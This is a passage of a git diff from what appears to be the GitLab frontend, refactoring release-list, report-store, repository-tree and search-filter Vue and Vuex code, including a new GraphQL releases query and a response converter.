+ @next="onNext($event)"
+ />
+</template>
diff --git a/app/assets/javascripts/releases/components/releases_pagination_rest.vue b/app/assets/javascripts/releases/components/releases_pagination_rest.vue
new file mode 100644
index 00000000000..992cc4cd469
--- /dev/null
+++ b/app/assets/javascripts/releases/components/releases_pagination_rest.vue
@@ -0,0 +1,24 @@
+<script>
+import { mapActions, mapState } from 'vuex';
+import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
+import { historyPushState, buildUrlWithCurrentLocation } from '~/lib/utils/common_utils';
+
+export default {
+ name: 'ReleasesPaginationRest',
+ components: { TablePagination },
+ computed: {
+ ...mapState('list', ['pageInfo']),
+ },
+ methods: {
+ ...mapActions('list', ['fetchReleasesRest']),
+ onChangePage(page) {
+ historyPushState(buildUrlWithCurrentLocation(`?page=${page}`));
+ this.fetchReleasesRest({ page });
+ },
+ },
+};
+</script>
+
+<template>
+ <table-pagination :change="onChangePage" :page-info="pageInfo" />
+</template>
diff --git a/app/assets/javascripts/releases/mount_edit.js b/app/assets/javascripts/releases/mount_edit.js
index c7385b3c57f..623b18591a0 100644
--- a/app/assets/javascripts/releases/mount_edit.js
+++ b/app/assets/javascripts/releases/mount_edit.js
@@ -1,8 +1,11 @@
import Vue from 'vue';
+import Vuex from 'vuex';
import ReleaseEditNewApp from './components/app_edit_new.vue';
import createStore from './stores';
import createDetailModule from './stores/modules/detail';
+Vue.use(Vuex);
+
export default () => {
const el = document.getElementById('js-edit-release-page');
diff --git a/app/assets/javascripts/releases/mount_index.js b/app/assets/javascripts/releases/mount_index.js
index 5f0bf3b6459..cd4fa5c5df5 100644
--- a/app/assets/javascripts/releases/mount_index.js
+++ b/app/assets/javascripts/releases/mount_index.js
@@ -1,7 +1,10 @@
import Vue from 'vue';
+import Vuex from 'vuex';
import ReleaseListApp from './components/app_index.vue';
import createStore from './stores';
-import listModule from './stores/modules/list';
+import createListModule from './stores/modules/list';
+
+Vue.use(Vuex);
export default () => {
const el = document.getElementById('js-releases-page');
@@ -10,12 +13,14 @@ export default () => {
el,
store: createStore({
modules: {
- list: listModule,
+ list: createListModule(el.dataset),
+ },
+ featureFlags: {
+ graphqlReleaseData: Boolean(gon.features?.graphqlReleaseData),
+ graphqlReleasesPage: Boolean(gon.features?.graphqlReleasesPage),
+ graphqlMilestoneStats: Boolean(gon.features?.graphqlMilestoneStats),
},
}),
- render: h =>
- h(ReleaseListApp, {
- props: el.dataset,
- }),
+ render: h => h(ReleaseListApp),
});
};
diff --git a/app/assets/javascripts/releases/mount_new.js b/app/assets/javascripts/releases/mount_new.js
index 68003f6a346..10725e47740 100644
--- a/app/assets/javascripts/releases/mount_new.js
+++ b/app/assets/javascripts/releases/mount_new.js
@@ -1,8 +1,11 @@
import Vue from 'vue';
+import Vuex from 'vuex';
import ReleaseEditNewApp from './components/app_edit_new.vue';
import createStore from './stores';
import createDetailModule from './stores/modules/detail';
+Vue.use(Vuex);
+
export default () => {
const el = document.getElementById('js-new-release-page');
diff --git a/app/assets/javascripts/releases/mount_show.js b/app/assets/javascripts/releases/mount_show.js
index 7ddc8e786c1..eef015ee0a6 100644
--- a/app/assets/javascripts/releases/mount_show.js
+++ b/app/assets/javascripts/releases/mount_show.js
@@ -1,8 +1,11 @@
import Vue from 'vue';
+import Vuex from 'vuex';
import ReleaseShowApp from './components/app_show.vue';
import createStore from './stores';
import createDetailModule from './stores/modules/detail';
+Vue.use(Vuex);
+
export default () => {
const el = document.getElementById('js-show-release-page');
diff --git a/app/assets/javascripts/releases/queries/all_releases.query.graphql b/app/assets/javascripts/releases/queries/all_releases.query.graphql
new file mode 100644
index 00000000000..7a99f32fdfa
--- /dev/null
+++ b/app/assets/javascripts/releases/queries/all_releases.query.graphql
@@ -0,0 +1,69 @@
+query allReleases($fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ releases(first: 20) {
+ count
+ nodes {
+ name
+ tagName
+ tagPath
+ descriptionHtml
+ releasedAt
+ upcomingRelease
+ assets {
+ count
+ sources {
+ nodes {
+ format
+ url
+ }
+ }
+ links {
+ nodes {
+ id
+ name
+ url
+ directAssetUrl
+ linkType
+ external
+ }
+ }
+ }
+ evidences {
+ nodes {
+ filepath
+ collectedAt
+ sha
+ }
+ }
+ links {
+ editUrl
+ issuesUrl
+ mergeRequestsUrl
+ selfUrl
+ }
+ commit {
+ sha
+ webUrl
+ title
+ }
+ author {
+ webUrl
+ avatarUrl
+ username
+ }
+ milestones {
+ nodes {
+ id
+ title
+ description
+ webPath
+ stats {
+ totalIssuesCount
+ closedIssuesCount
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/releases/stores/index.js b/app/assets/javascripts/releases/stores/index.js
index 7f211145ccf..b2e93d789d7 100644
--- a/app/assets/javascripts/releases/stores/index.js
+++ b/app/assets/javascripts/releases/stores/index.js
@@ -1,8 +1,5 @@
-import Vue from 'vue';
import Vuex from 'vuex';
-Vue.use(Vuex);
-
export default ({ modules, featureFlags }) =>
new Vuex.Store({
modules,
diff --git a/app/assets/javascripts/releases/stores/modules/list/actions.js b/app/assets/javascripts/releases/stores/modules/list/actions.js
index 90fba319e9f..945b093b983 100644
--- a/app/assets/javascripts/releases/stores/modules/list/actions.js
+++ b/app/assets/javascripts/releases/stores/modules/list/actions.js
@@ -7,6 +7,8 @@ import {
parseIntPagination,
convertObjectPropsToCamelCase,
} from '~/lib/utils/common_utils';
+import allReleasesQuery from '~/releases/queries/all_releases.query.graphql';
+import { gqClient, convertGraphQLResponse } from '../../../util';
/**
* Commits a mutation to update the state while the main endpoint is being requested.
@@ -21,13 +23,31 @@ export const requestReleases = ({ commit }) => commit(types.REQUEST_RELEASES);
*
* @param {String} projectId
*/
-export const fetchReleases = ({ dispatch }, { page = '1', projectId }) => {
+export const fetchReleases = ({ dispatch, rootState, state }, { page = '1' }) => {
dispatch('requestReleases');
- api
- .releases(projectId, { page })
- .then(response => dispatch('receiveReleasesSuccess', response))
- .catch(() => dispatch('receiveReleasesError'));
+ if (
+ rootState.featureFlags.graphqlReleaseData &&
+ rootState.featureFlags.graphqlReleasesPage &&
+ rootState.featureFlags.graphqlMilestoneStats
+ ) {
+ gqClient
+ .query({
+ query: allReleasesQuery,
+ variables: {
+ fullPath: state.projectPath,
+ },
+ })
+ .then(response => {
+ dispatch('receiveReleasesSuccess', convertGraphQLResponse(response));
+ })
+ .catch(() => dispatch('receiveReleasesError'));
+ } else {
+ api
+ .releases(state.projectId, { page })
+ .then(response => dispatch('receiveReleasesSuccess', response))
+ .catch(() => dispatch('receiveReleasesError'));
+ }
};
export const receiveReleasesSuccess = ({ commit }, { data, headers }) => {
diff --git a/app/assets/javascripts/releases/stores/modules/list/index.js b/app/assets/javascripts/releases/stores/modules/list/index.js
index e4633b15a0c..0f97fa83ced 100644
--- a/app/assets/javascripts/releases/stores/modules/list/index.js
+++ b/app/assets/javascripts/releases/stores/modules/list/index.js
@@ -1,10 +1,10 @@
-import state from './state';
+import createState from './state';
import * as actions from './actions';
import mutations from './mutations';
-export default {
+export default initialState => ({
namespaced: true,
actions,
mutations,
- state,
-};
+ state: createState(initialState),
+});
diff --git a/app/assets/javascripts/releases/stores/modules/list/state.js b/app/assets/javascripts/releases/stores/modules/list/state.js
index c251f56c9c5..9fe313745fc 100644
--- a/app/assets/javascripts/releases/stores/modules/list/state.js
+++ b/app/assets/javascripts/releases/stores/modules/list/state.js
@@ -1,4 +1,16 @@
-export default () => ({
+export default ({
+ projectId,
+ projectPath,
+ documentationPath,
+ illustrationPath,
+ newReleasePath = '',
+}) => ({
+ projectId,
+ projectPath,
+ documentationPath,
+ illustrationPath,
+ newReleasePath,
+
isLoading: false,
hasError: false,
releases: [],
diff --git a/app/assets/javascripts/releases/util.js b/app/assets/javascripts/releases/util.js
index 842a423b142..d7fac7a9b65 100644
--- a/app/assets/javascripts/releases/util.js
+++ b/app/assets/javascripts/releases/util.js
@@ -1,3 +1,6 @@
+import { pick } from 'lodash';
+import createGqClient, { fetchPolicies } from '~/lib/graphql';
+import { truncateSha } from '~/lib/utils/text_utility';
import {
convertObjectPropsToCamelCase,
convertObjectPropsToSnakeCase,
@@ -39,3 +42,89 @@ export const apiJsonToRelease = json => {
return release;
};
+
+export const gqClient = createGqClient({}, { fetchPolicy: fetchPolicies.NO_CACHE });
+
+const convertScalarProperties = graphQLRelease =>
+ pick(graphQLRelease, [
+ 'name',
+ 'tagName',
+ 'tagPath',
+ 'descriptionHtml',
+ 'releasedAt',
+ 'upcomingRelease',
+ ]);
+
+const convertAssets = graphQLRelease => ({
+ assets: {
+ count: graphQLRelease.assets.count,
+ sources: [...graphQLRelease.assets.sources.nodes],
+ links: graphQLRelease.assets.links.nodes.map(l => ({
+ ...l,
+ linkType: l.linkType?.toLowerCase(),
+ })),
+ },
+});
+
+const convertEvidences = graphQLRelease => ({
+ evidences: graphQLRelease.evidences.nodes.map(e => e),
+});
+
+const convertLinks = graphQLRelease => ({
+ _links: {
+ ...graphQLRelease.links,
+ self: graphQLRelease.links?.selfUrl,
+ },
+});
+
+const convertCommit = graphQLRelease => {
+ if (!graphQLRelease.commit) {
+ return {};
+ }
+
+ return {
+ commit: {
+ shortId: truncateSha(graphQLRelease.commit.sha),
+ title: graphQLRelease.commit.title,
+ },
+ commitPath: graphQLRelease.commit.webUrl,
+ };
+};
+
+const convertAuthor = graphQLRelease => ({ author: graphQLRelease.author });
+
+const convertMilestones = graphQLRelease => ({
+ milestones: graphQLRelease.milestones.nodes.map(m => ({
+ ...m,
+ webUrl: m.webPath,
+ webPath: undefined,
+ issueStats: {
+ total: m.stats.totalIssuesCount,
+ closed: m.stats.closedIssuesCount,
+ },
+ stats: undefined,
+ })),
+});
+
+/**
+ * Converts the response from the GraphQL endpoint into the
+ * same shape as is returned from the Releases REST API.
+ *
+ * This allows the release components to use the response
+ * from either endpoint interchangeably.
+ *
+ * @param response The response received from the GraphQL endpoint
+ */
+export const convertGraphQLResponse = response => {
+ const releases = response.data.project.releases.nodes.map(r => ({
+ ...convertScalarProperties(r),
+ ...convertAssets(r),
+ ...convertEvidences(r),
+ ...convertLinks(r),
+ ...convertCommit(r),
+ ...convertAuthor(r),
+ ...convertMilestones(r),
+ }));
+
+ return { data: releases };
+};
diff --git a/app/assets/javascripts/reports/accessibility_report/store/index.js b/app/assets/javascripts/reports/accessibility_report/store/index.js
index 047964260ad..9fa2c589324 100644
--- a/app/assets/javascripts/reports/accessibility_report/store/index.js
+++ b/app/assets/javascripts/reports/accessibility_report/store/index.js
@@ -7,10 +7,11 @@ import state from './state';
Vue.use(Vuex);
-export default initialState =>
- new Vuex.Store({
- actions,
- getters,
- mutations,
- state: state(initialState),
- });
+export const getStoreConfig = initialState => ({
+ actions,
+ getters,
+ mutations,
+ state: state(initialState),
+});
+
+export default initialState => new Vuex.Store(getStoreConfig(initialState));
diff --git a/app/assets/javascripts/reports/codequality_report/store/index.js b/app/assets/javascripts/reports/codequality_report/store/index.js
index 047964260ad..9fa2c589324 100644
--- a/app/assets/javascripts/reports/codequality_report/store/index.js
+++ b/app/assets/javascripts/reports/codequality_report/store/index.js
@@ -7,10 +7,11 @@ import state from './state';
Vue.use(Vuex);
-export default initialState =>
- new Vuex.Store({
- actions,
- getters,
- mutations,
- state: state(initialState),
- });
+export const getStoreConfig = initialState => ({
+ actions,
+ getters,
+ mutations,
+ state: state(initialState),
+});
+
+export default initialState => new Vuex.Store(getStoreConfig(initialState));
diff --git a/app/assets/javascripts/reports/components/issue_status_icon.vue b/app/assets/javascripts/reports/components/issue_status_icon.vue
index d79e3ddd798..bd41b8d23f1 100644
--- a/app/assets/javascripts/reports/components/issue_status_icon.vue
+++ b/app/assets/javascripts/reports/components/issue_status_icon.vue
@@ -1,11 +1,11 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import { STATUS_FAILED, STATUS_NEUTRAL, STATUS_SUCCESS } from '../constants';
export default {
name: 'IssueStatusIcon',
components: {
- Icon,
+ GlIcon,
},
props: {
status: {
@@ -49,6 +49,6 @@ export default {
}"
class="report-block-list-icon"
>
- <icon :name="iconName" :size="statusIconSize" :data-qa-selector="`status_${status}_icon`" />
+ <gl-icon :name="iconName" :size="statusIconSize" :data-qa-selector="`status_${status}_icon`" />
</div>
</template>
diff --git a/app/assets/javascripts/reports/store/getters.js b/app/assets/javascripts/reports/store/getters.js
index 6345be69f6f..d49e5760b3f 100644
--- a/app/assets/javascripts/reports/store/getters.js
+++ b/app/assets/javascripts/reports/store/getters.js
@@ -1,6 +1,5 @@
import { LOADING, ERROR, SUCCESS, STATUS_FAILED } from '../constants';
-// eslint-disable-next-line import/prefer-default-export
export const summaryStatus = state => {
if (state.isLoading) {
return LOADING;
diff --git a/app/assets/javascripts/reports/store/index.js b/app/assets/javascripts/reports/store/index.js
index 467c692b438..a2edfa94a48 100644
--- a/app/assets/javascripts/reports/store/index.js
+++ b/app/assets/javascripts/reports/store/index.js
@@ -7,10 +7,11 @@ import state from './state';
Vue.use(Vuex);
-export default () =>
- new Vuex.Store({
- actions,
- mutations,
- getters,
- state: state(),
- });
+export const getStoreConfig = () => ({
+ actions,
+ mutations,
+ getters,
+ state: state(),
+});
+
+export default () => new Vuex.Store(getStoreConfig());
diff --git a/app/assets/javascripts/repository/components/breadcrumbs.vue b/app/assets/javascripts/repository/components/breadcrumbs.vue
index 368fa029d07..74437f286b4 100644
--- a/app/assets/javascripts/repository/components/breadcrumbs.vue
+++ b/app/assets/javascripts/repository/components/breadcrumbs.vue
@@ -4,10 +4,10 @@ import {
GlDeprecatedDropdownDivider,
GlDeprecatedDropdownHeader,
GlDeprecatedDropdownItem,
+ GlIcon,
} from '@gitlab/ui';
import { joinPaths, escapeFileUrl } from '~/lib/utils/url_utility';
import { __ } from '../../locale';
-import Icon from '../../vue_shared/components/icon.vue';
import getRefMixin from '../mixins/get_ref';
import projectShortPathQuery from '../queries/project_short_path.query.graphql';
import projectPathQuery from '../queries/project_path.query.graphql';
@@ -24,7 +24,7 @@ export default {
GlDeprecatedDropdownDivider,
GlDeprecatedDropdownHeader,
GlDeprecatedDropdownItem,
- Icon,
+ GlIcon,
},
apollo: {
projectShortPath: {
@@ -249,8 +249,8 @@ export default {
<gl-deprecated-dropdown toggle-class="add-to-tree qa-add-to-tree ml-1">
<template #button-content>
<span class="sr-only">{{ __('Add to tree') }}</span>
- <icon name="plus" :size="16" class="float-left" />
- <icon name="chevron-down" :size="16" class="float-left" />
+ <gl-icon name="plus" :size="16" class="float-left" />
+ <gl-icon name="chevron-down" :size="16" class="float-left" />
</template>
<template v-for="(item, i) in dropdownItems">
<component :is="getComponent(item.type)" :key="i" v-bind="item.attrs">
diff --git a/app/assets/javascripts/repository/components/last_commit.vue b/app/assets/javascripts/repository/components/last_commit.vue
index 3337ce6c6df..59831890a4e 100644
--- a/app/assets/javascripts/repository/components/last_commit.vue
+++ b/app/assets/javascripts/repository/components/last_commit.vue
@@ -1,8 +1,8 @@
<script>
-import { GlTooltipDirective, GlLink, GlDeprecatedButton, GlLoadingIcon } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlTooltipDirective, GlLink, GlDeprecatedButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import defaultAvatarUrl from 'images/no_avatar.png';
import { sprintf, s__ } from '~/locale';
-import Icon from '../../vue_shared/components/icon.vue';
import UserAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
import TimeagoTooltip from '../../vue_shared/components/time_ago_tooltip.vue';
import CiIcon from '../../vue_shared/components/ci_icon.vue';
@@ -13,7 +13,7 @@ import pathLastCommitQuery from '../queries/path_last_commit.query.graphql';
export default {
components: {
- Icon,
+ GlIcon,
UserAvatarLink,
TimeagoTooltip,
ClipboardButton,
@@ -130,7 +130,7 @@ export default {
class="text-expander"
@click="toggleShowDescription"
>
- <icon name="ellipsis_h" :size="10" />
+ <gl-icon name="ellipsis_h" :size="10" />
</gl-deprecated-button>
<div class="committer">
<gl-link
diff --git a/app/assets/javascripts/repository/components/preview/index.vue b/app/assets/javascripts/repository/components/preview/index.vue
index 013092ffefd..eca53f73a7f 100644
--- a/app/assets/javascripts/repository/components/preview/index.vue
+++ b/app/assets/javascripts/repository/components/preview/index.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import $ from 'jquery';
import '~/behaviors/markdown/render_gfm';
import { GlLink, GlLoadingIcon } from '@gitlab/ui';
diff --git a/app/assets/javascripts/repository/components/table/index.vue b/app/assets/javascripts/repository/components/table/index.vue
index d0cc617d755..c6652c57c1f 100644
--- a/app/assets/javascripts/repository/components/table/index.vue
+++ b/app/assets/javascripts/repository/components/table/index.vue
@@ -1,5 +1,5 @@
<script>
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlButton } from '@gitlab/ui';
import { sprintf, __ } from '../../../locale';
import getRefMixin from '../../mixins/get_ref';
import projectPathQuery from '../../queries/project_path.query.graphql';
@@ -13,6 +13,7 @@ export default {
TableHeader,
TableRow,
ParentRow,
+ GlButton,
},
mixins: [getRefMixin],
apollo: {
@@ -39,6 +40,10 @@ export default {
required: false,
default: '',
},
+ hasMore: {
+ type: Boolean,
+ required: true,
+ },
},
data() {
return {
@@ -65,6 +70,11 @@ export default {
return !this.isLoading && ['', '/'].indexOf(this.path) === -1;
},
},
+ methods: {
+ showMore() {
+ this.$emit('showMore');
+ },
+ },
};
</script>
@@ -110,6 +120,20 @@ export default {
<td><gl-skeleton-loading :lines="1" class="ml-auto h-auto w-50" /></td>
</tr>
</template>
+ <template v-if="hasMore">
+ <tr>
+ <td align="center" colspan="3" class="gl-p-0!">
+ <gl-button
+ variant="link"
+ class="gl-display-flex gl-w-full gl-py-4!"
+ :loading="isLoading"
+ @click="showMore"
+ >
+ {{ s__('ProjectFileTree|Show more') }}
+ </gl-button>
+ </td>
+ </tr>
+ </template>
</tbody>
</table>
</div>
diff --git a/app/assets/javascripts/repository/components/table/row.vue b/app/assets/javascripts/repository/components/table/row.vue
index d2fef6693e2..d749a8c0dee 100644
--- a/app/assets/javascripts/repository/components/table/row.vue
+++ b/app/assets/javascripts/repository/components/table/row.vue
@@ -1,9 +1,10 @@
<script>
+/* eslint-disable vue/no-v-html */
import { escapeRegExp } from 'lodash';
import {
GlBadge,
GlLink,
- GlSkeletonLoading,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
GlTooltipDirective,
GlLoadingIcon,
GlIcon,
diff --git a/app/assets/javascripts/repository/components/tree_content.vue b/app/assets/javascripts/repository/components/tree_content.vue
index fe3065a2145..365b6cbb550 100644
--- a/app/assets/javascripts/repository/components/tree_content.vue
+++ b/app/assets/javascripts/repository/components/tree_content.vue
@@ -1,5 +1,4 @@
<script>
-import { GlButton } from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { __ } from '../../locale';
import FileTable from './table/index.vue';
@@ -17,7 +16,6 @@ export default {
components: {
FileTable,
FilePreview,
- GlButton,
},
mixins: [getRefMixin],
apollo: {
@@ -127,7 +125,7 @@ export default {
.concat(data.trees.pageInfo, data.submodules.pageInfo, data.blobs.pageInfo)
.find(({ hasNextPage }) => hasNextPage);
},
- showMore() {
+ handleShowMore() {
this.clickedShowMore = true;
this.fetchFiles();
},
@@ -142,20 +140,9 @@ export default {
:entries="entries"
:is-loading="isLoadingFiles"
:loading-path="loadingPath"
+ :has-more="hasShowMore"
+ @showMore="handleShowMore"
/>
- <div
- v-if="hasShowMore"
- class="gl-border-1 gl-border-gray-100 gl-rounded-base gl-border-t-none gl-border-b-solid gl-border-l-solid gl-border-r-solid gl-rounded-top-right-none gl-rounded-top-left-none gl-mt-n1"
- >
- <gl-button
- variant="link"
- class="gl-display-flex gl-w-full gl-py-4!"
- :loading="isLoadingFiles"
- @click="showMore"
- >
- {{ s__('ProjectFileTree|Show more') }}
- </gl-button>
- </div>
<file-preview v-if="readme" :blob="readme" />
</div>
</template>
diff --git a/app/assets/javascripts/repository/components/web_ide_link.vue b/app/assets/javascripts/repository/components/web_ide_link.vue
deleted file mode 100644
index 6549d5a3878..00000000000
--- a/app/assets/javascripts/repository/components/web_ide_link.vue
+++ /dev/null
@@ -1,47 +0,0 @@
-<script>
-import TreeActionLink from './tree_action_link.vue';
-import { __ } from '~/locale';
-import { webIDEUrl } from '~/lib/utils/url_utility';
-
-export default {
- components: {
- TreeActionLink,
- },
- props: {
- projectPath: {
- type: String,
- required: true,
- },
- refSha: {
- type: String,
- required: true,
- },
- canPushCode: {
- type: Boolean,
- required: false,
- default: true,
- },
- forkPath: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- showLinkToFork() {
- return !this.canPushCode && this.forkPath;
- },
- text() {
- return this.showLinkToFork ? __('Edit fork in Web IDE') : __('Web IDE');
- },
- path() {
- const path = this.showLinkToFork ? this.forkPath : this.projectPath;
- return webIDEUrl(`/${path}/edit/${this.refSha}/-/${this.$route.params.path || ''}`);
- },
- },
-};
-</script>
-
-<template>
- <tree-action-link :path="path" :text="text" data-qa-selector="web_ide_button" />
-</template>
diff --git a/app/assets/javascripts/repository/graphql.js b/app/assets/javascripts/repository/graphql.js
index 450a1571165..8dd18027945 100644
--- a/app/assets/javascripts/repository/graphql.js
+++ b/app/assets/javascripts/repository/graphql.js
@@ -58,6 +58,7 @@ const defaultClient = createDefaultClient(
/* eslint-enable @gitlab/require-i18n-strings */
},
},
+ assumeImmutableResults: true,
},
);
diff --git a/app/assets/javascripts/repository/index.js b/app/assets/javascripts/repository/index.js
index 187bbfed125..7f72524b6fe 100644
--- a/app/assets/javascripts/repository/index.js
+++ b/app/assets/javascripts/repository/index.js
@@ -1,30 +1,22 @@
import Vue from 'vue';
-import { escapeFileUrl } from '../lib/utils/url_utility';
+import { escapeFileUrl, joinPaths, webIDEUrl } from '../lib/utils/url_utility';
import createRouter from './router';
import App from './components/app.vue';
import Breadcrumbs from './components/breadcrumbs.vue';
import LastCommit from './components/last_commit.vue';
import TreeActionLink from './components/tree_action_link.vue';
-import WebIdeLink from './components/web_ide_link.vue';
+import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
import DirectoryDownloadLinks from './components/directory_download_links.vue';
import apolloProvider from './graphql';
import { setTitle } from './utils/title';
import { updateFormAction } from './utils/dom';
-import { parseBoolean } from '../lib/utils/common_utils';
+import { convertObjectPropsToCamelCase, parseBoolean } from '../lib/utils/common_utils';
import { __ } from '../locale';
export default function setupVueRepositoryList() {
const el = document.getElementById('js-tree-list');
const { dataset } = el;
- const {
- canPushCode,
- projectPath,
- projectShortPath,
- forkPath,
- ref,
- escapedRef,
- fullName,
- } = dataset;
+ const { projectPath, projectShortPath, ref, escapedRef, fullName } = dataset;
const router = createRouter(projectPath, escapedRef);
apolloProvider.clients.defaultClient.cache.writeData({
@@ -121,6 +113,10 @@ export default function setupVueRepositoryList() {
const webIdeLinkEl = document.getElementById('js-tree-web-ide-link');
if (webIdeLinkEl) {
+ const { ideBasePath, ...options } = convertObjectPropsToCamelCase(
+ JSON.parse(webIdeLinkEl.dataset.options),
+ );
+
// eslint-disable-next-line no-new
new Vue({
el: webIdeLinkEl,
@@ -128,10 +124,10 @@ export default function setupVueRepositoryList() {
render(h) {
return h(WebIdeLink, {
props: {
- projectPath,
- refSha: ref,
- forkPath,
- canPushCode: parseBoolean(canPushCode),
+ webIdeUrl: webIDEUrl(
+ joinPaths('/', ideBasePath, 'edit', ref, '-', this.$route.params.path || '', '/'),
+ ),
+ ...options,
},
});
},
diff --git a/app/assets/javascripts/repository/log_tree.js b/app/assets/javascripts/repository/log_tree.js
index 704dd88aabe..361e0b62bb7 100644
--- a/app/assets/javascripts/repository/log_tree.js
+++ b/app/assets/javascripts/repository/log_tree.js
@@ -1,3 +1,4 @@
+import produce from 'immer';
import { normalizeData } from 'ee_else_ce/repository/utils/commit';
import axios from '~/lib/utils/axios_utils';
import commitsQuery from './queries/commits.query.graphql';
@@ -34,16 +35,18 @@ export function fetchLogsTree(client, path, offset, resolver = null) {
params: { format: 'json', offset },
},
)
- .then(({ data, headers }) => {
+ .then(({ data: newData, headers }) => {
const headerLogsOffset = headers['more-logs-offset'];
- const { commits } = client.readQuery({ query: commitsQuery });
- const newCommitData = [...commits, ...normalizeData(data, path)];
+ const sourceData = client.readQuery({ query: commitsQuery });
+ const data = produce(sourceData, draftState => {
+ draftState.commits.push(...normalizeData(newData, path));
+ });
client.writeQuery({
query: commitsQuery,
- data: { commits: newCommitData },
+ data,
});
- resolvers.forEach(r => resolveCommit(newCommitData, path, r));
+ resolvers.forEach(r => resolveCommit(data.commits, path, r));
fetchpromise = null;
diff --git a/app/assets/javascripts/repository/router.js b/app/assets/javascripts/repository/router.js
index c5646c32850..38a596e229e 100644
--- a/app/assets/javascripts/repository/router.js
+++ b/app/assets/javascripts/repository/router.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import VueRouter from 'vue-router';
+import { escapeRegExp } from 'lodash';
import { joinPaths } from '../lib/utils/url_utility';
import IndexPage from './pages/index.vue';
import TreePage from './pages/tree.vue';
@@ -27,7 +28,7 @@ export default function createRouter(base, baseRef) {
{
name: 'treePath',
// Support without decoding as well just in case the ref doesn't need to be decoded
- path: `(/-)?/tree/${baseRef}/:path*`,
+ path: `(/-)?/tree/${escapeRegExp(baseRef)}/:path*`,
...treePathRoute,
},
{
diff --git a/app/assets/javascripts/repository/utils/commit.js b/app/assets/javascripts/repository/utils/commit.js
index 90ac01c5874..0704ac1627f 100644
--- a/app/assets/javascripts/repository/utils/commit.js
+++ b/app/assets/javascripts/repository/utils/commit.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export function normalizeData(data, path, extra = () => {}) {
return data.map(d => ({
sha: d.commit.id,
diff --git a/app/assets/javascripts/repository/utils/icon.js b/app/assets/javascripts/repository/utils/icon.js
index 661ebb6edfc..47b045c7eaf 100644
--- a/app/assets/javascripts/repository/utils/icon.js
+++ b/app/assets/javascripts/repository/utils/icon.js
@@ -88,7 +88,6 @@ const fileTypeIcons = [
},
];
-// eslint-disable-next-line import/prefer-default-export
export const getIconName = (type, path) => {
if (entryTypeIcons[type]) return entryTypeIcons[type];
diff --git a/app/assets/javascripts/repository/utils/readme.js b/app/assets/javascripts/repository/utils/readme.js
index 5b62271b02e..50692779b1a 100644
--- a/app/assets/javascripts/repository/utils/readme.js
+++ b/app/assets/javascripts/repository/utils/readme.js
@@ -28,5 +28,4 @@ const isPlainReadme = file => {
return re.test(file.name);
};
-// eslint-disable-next-line import/prefer-default-export
export const readmeFile = blobs => blobs.find(isRichReadme) || blobs.find(isPlainReadme);
diff --git a/app/assets/javascripts/search/state_filter/components/state_filter.vue b/app/assets/javascripts/search/state_filter/components/state_filter.vue
new file mode 100644
index 00000000000..f08adaf8c83
--- /dev/null
+++ b/app/assets/javascripts/search/state_filter/components/state_filter.vue
@@ -0,0 +1,94 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlDropdownDivider } from '@gitlab/ui';
+import {
+ FILTER_STATES,
+ SCOPES,
+ FILTER_STATES_BY_SCOPE,
+ FILTER_HEADER,
+ FILTER_TEXT,
+} from '../constants';
+import { setUrlParams, visitUrl } from '~/lib/utils/url_utility';
+
+const FILTERS_ARRAY = Object.values(FILTER_STATES);
+
+export default {
+ name: 'StateFilter',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
+ },
+ props: {
+ scope: {
+ type: String,
+ required: true,
+ },
+ state: {
+ type: String,
+ required: false,
+ default: FILTER_STATES.ANY.value,
+ validator: v => FILTERS_ARRAY.some(({ value }) => value === v),
+ },
+ },
+ computed: {
+ selectedFilterText() {
+ const filter = FILTERS_ARRAY.find(({ value }) => value === this.selectedFilter);
+ if (!filter || filter === FILTER_STATES.ANY) {
+ return FILTER_TEXT;
+ }
+
+ return filter.label;
+ },
+ showDropdown() {
+ return Object.values(SCOPES).includes(this.scope);
+ },
+ selectedFilter: {
+ get() {
+ if (FILTERS_ARRAY.some(({ value }) => value === this.state)) {
+ return this.state;
+ }
+
+ return FILTER_STATES.ANY.value;
+ },
+ set(state) {
+ visitUrl(setUrlParams({ state }));
+ },
+ },
+ },
+ methods: {
+ dropDownItemClass(filter) {
+ return {
+ 'gl-border-b-solid gl-border-b-gray-100 gl-border-b-1 gl-pb-2! gl-mb-2':
+ filter === FILTER_STATES.ANY,
+ };
+ },
+ isFilterSelected(filter) {
+ return filter === this.selectedFilter;
+ },
+ handleFilterChange(state) {
+ this.selectedFilter = state;
+ },
+ },
+ filterStates: FILTER_STATES,
+ filterHeader: FILTER_HEADER,
+ filtersByScope: FILTER_STATES_BY_SCOPE,
+};
+</script>
+
+<template>
+ <gl-dropdown v-if="showDropdown" :text="selectedFilterText" class="col-sm-3 gl-pt-4 gl-pl-0">
+ <header class="gl-text-center gl-font-weight-bold gl-font-lg">
+ {{ $options.filterHeader }}
+ </header>
+ <gl-dropdown-divider />
+ <gl-dropdown-item
+ v-for="filter in $options.filtersByScope[scope]"
+ :key="filter.value"
+ :is-check-item="true"
+ :is-checked="isFilterSelected(filter.value)"
+ :class="dropDownItemClass(filter)"
+ @click="handleFilterChange(filter.value)"
+ >{{ filter.label }}</gl-dropdown-item
+ >
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/search/state_filter/constants.js b/app/assets/javascripts/search/state_filter/constants.js
new file mode 100644
index 00000000000..2f11cab9044
--- /dev/null
+++ b/app/assets/javascripts/search/state_filter/constants.js
@@ -0,0 +1,39 @@
+import { __ } from '~/locale';
+
+export const FILTER_HEADER = __('Status');
+
+export const FILTER_TEXT = __('Any Status');
